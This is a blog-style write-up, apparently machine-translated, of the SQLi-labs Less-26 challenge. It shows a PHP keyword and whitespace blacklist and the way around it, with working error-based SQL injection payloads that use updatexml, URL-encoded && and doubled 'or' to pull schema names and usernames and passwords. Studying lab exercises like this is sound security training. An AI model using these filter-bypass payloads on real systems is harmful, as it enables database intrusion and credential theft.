当前位置:网站首页>SQL injection less26 (filter spaces and comments, and use error injection without spaces)
SQL injection less26 (filter spaces and comments, and use error injection without spaces)
2022-07-26 22:17:00 【Happy star】
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
Try to bypass spaces
Replace blank space :
(1)mysql Blank character :%09、%0A、%0B、%0D、%20、%0C、%A0、/**/
(2) Regular whitespace :%09、%0A、%0B、%0D、%20
25% Is a percent sign ,%25A0 It's a blank character
%09——TAB key ( level )
%0a—— Create a new line
%0c—— A new page
%0d return function
%0b——TAB key ( vertical )
%a0—— Space
Inline comments are often used to bypass spaces
I tried , Found that you can't bypass the space
because Windows You cannot use some special characters to replace spaces ,Linux Sure , You can go to Linux Next try
Injection method without spaces ( An error injection )
?id=1'||updatexml(1,concat(0x7e,(database())),1)||'1' ='1?id=1'%26%26updatexml(1,concat('~~',database()),1)%26%26'
%26 yes & Of url code .
because and There must be a space before and after , So use &&
however && It cannot be submitted to the server normally , So we have to input his url code %26%26 Talent .
use || It's fine too , Better to use
?id=1'%26%26updatexml(1,concat('~~',database()),1)%26%26'
?id=1'%26%26updatexml(1,concat('~~',(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security"))),1)%26%26'
Notice that the statement is wrapped in parentheses , Around the space
Parenthesis () Separate the parts of each query 
?id=1'%26%26updatexml(1,concat("~~",(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema="security"%26%26table_name="users")),0)%26%26'
near 'LIMIT 0,1'
This problem , Error injection has also occurred before , There may be more Limit 0,1 As a result, the whole statement cannot be formed
It could also be here (table_schema="security"%26%26table_name="users") There is a problem
?id=1'%26%26updatexml(1,concat("~~",(select(group_concat(username,passwoorrd))from(users))),0)%26%26'
https://blog.csdn.net/weixin_43901998/article/details/107340272
https://blog.csdn.net/weixin_43901998/article/details/107340272
边栏推荐
- VB.net Chart1的处理
- A friend with a monthly salary of 50000 told me that you were just doing chores
- Excel VBA quick start (XII. Common usage of like comparison)
- Pytorch--Visdom使用
- 伦敦银外汇走势理解与实操
- Finding a new direction for the development of digital retail is the key to ensure that digital retail can enter a new stage of development
- Qt中为工程添加资源文件、给按钮添加图片
- 09.01 depth first search
- In depth analysis of the source code, why is the string class immutable? (hit me before you understand)
- matlab 画短时平均幅度谱
猜你喜欢

Altium designer 22 Chinese character garbled

Let Xiaobai thoroughly understand performance tuning

光源控制器拨码开关使用说明

09 expr 命令

Flink's real-time data analysis practice in iFLYTEK AI marketing business

Try new functions | decrypt Doris complex data type array

JS 延迟执行window.onload
![[tool] apifox](/img/a8/73325ec02a8bed2db2a8168f5bd40e.png)
[tool] apifox

Task04 | classification analysis

Just one dependency to give swagger a new skin, which is simple and cool~
随机推荐
Xshell7 personal free download, use
Props with type Object/Array must...
Unity对资源管理器操作 打开资源管理器选择文件并筛选文件
matlab 画短时平均幅度谱
Software Testing Technology: cross platform mobile UI automated testing (Part 2)
Instructions for use of light source controller dial switch
【C语言基础】17 链表初探
Flink's real-time data analysis practice in iFLYTEK AI marketing business
同花顺手机炒股开户安全吗?怎么办理开户呢
OPPO 自研大规模知识图谱及其在数智工程中的应用
Understanding and practice of the trend of Bank of London foreign exchange
『IDEA』IDEA快捷键使用教程
OPPO 自研大规模知识图谱及其在数智工程中的应用
[horizon sunrise X3 sect trial experience] + unpacking post
06 CP command
七月集训(第26天) —— 并查集
C data type_ From rookie tutorial
js验证复杂密码
Excel-vba quick start (X. prompt box, inputable pop-up box)
Task04 | classification analysis